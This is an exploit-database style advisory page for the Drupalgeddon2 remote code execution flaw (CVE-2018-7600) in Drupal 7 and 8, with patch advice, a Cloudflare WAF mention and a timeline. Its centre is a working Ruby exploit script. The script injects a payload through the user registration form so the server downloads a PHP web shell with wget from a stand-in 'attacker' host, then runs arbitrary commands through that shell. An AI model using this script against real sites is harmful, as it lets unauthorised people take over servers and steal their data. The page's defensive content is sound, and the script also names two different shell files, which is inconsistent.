Drupal 7.58 -8.5.1 – ‘Drupalgeddon2’ Remote Code Execution Exploit

Authors:Hans Topo                   Risk:Critical

CVE:CVE-2018-7600                  0day:Remote Code Execution

Exploit-id:Exploit-7601             Date:2018-04-14

Overview

A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
The security team has written an FAQ about this issue.

POC

# EDB-Note. Have the contents of "shell" on http://attacker/shell.php
 
require 'net/http'
 
# Hans Topo ruby port from Drupalggedon2 exploit.
# Based on Vitalii Rudnykh exploit
 
target = ARGV[0]
command = ARGV[1]
 
url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
 
shell = "<?php system($_GET['cmd']); ?>"
 
payload = 'mail%5B%23markup%5D%3Dwget%20http%3A%2F%2Fattacker%2Fshell.php%26mail%5B%23type%5D%3Dmarkup%26form_id%3Duser_register_form%26_drupal_ajax%3D1%26mail%5B%23post_render%5D%5B%5D%3Dexec'
 
uri = URI(url)
 
http = Net::HTTP.new(uri.host,uri.port)
 
if uri.scheme == 'https'
    http.use_ssl = true
    http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
 
req = Net::HTTP::Post.new(uri.path)
req.body = payload
 
response = http.request(req)
 
if response.code != "200"
    puts "[*] Response: " + response.code
    puts "[*] Target seems not to be exploitable"
    exit
end
 
puts "[*] Target seems to be exploitable."
 
exploit_uri = URI(target+"/sh.php?cmd=#{command}")
response = Net::HTTP.get_response(exploit_uri)
puts response.body

Solution

Upgrade to the most recent version of Drupal 7 or 8 core.

  • If you are running 7.x, upgrade to Drupal 7.58. (If you are unable to update immediately, you can attempt to apply this patch to fix the vulnerability until such time as you are able to completely update.)
  • If you are running 8.5.x, upgrade to Drupal 8.5.1. (If you are unable to update immediately, you can attempt to apply this patch to fix the vulnerability until such time as you are able to completely update.)

Drupal 8.3.x and 8.4.x are no longer supported and we don’t normally provide security releases for unsupported minor releases. However, given the potential severity of this issue, we are providing 8.3.x and 8.4.x releases that includes the fix for sites which have not yet had a chance to update to 8.5.0.
Your site’s update report page will recommend the 8.5.x release even if you are on 8.3.x or 8.4.x. Please take the time to update to a supported version after installing this security update.

This issue also affects Drupal 8.2.x and earlier, which are no longer supported. If you are running any of these versions of Drupal 8, update to a more recent release and then follow the instructions above.
This issue also affects Drupal 6. Drupal 6 is End of Life. For more information on Drupal 6 support please contact a D6LTS vendor.

Cloudflare is adding Drupal WAF Rule to Mitigate Critical Drupal Exploit

Drupal has recently announced an update to fix a critical remote code execution exploit (SA-CORE-2018-002/CVE-2018-7600). In response we have just pushed out a rule to block requests matching these exploit conditions for our Web Application Firewall (WAF). You can find this rule in the Cloudflare ruleset in your dashboard under the Drupal category with the rule ID of D0003.
https://blog.cloudflare.com/drupal-waf-rule-mitigate-critical-exploit/

Fixed By:

Timeline

2018-03-21 Drupal official announcement will fix high-risk vulnerabilities next week
2018-03-28 Drupal Officially Releases Patches and Security Announcements
2018-03-30 0DAY DB Release Vulnerability Warning Notice

Reference

Drupal core CVE-2018-7600 Remote Code Execution Exploit

Drupal core CVE-2018-7600 Remote Code Execution

 

Leave a Reply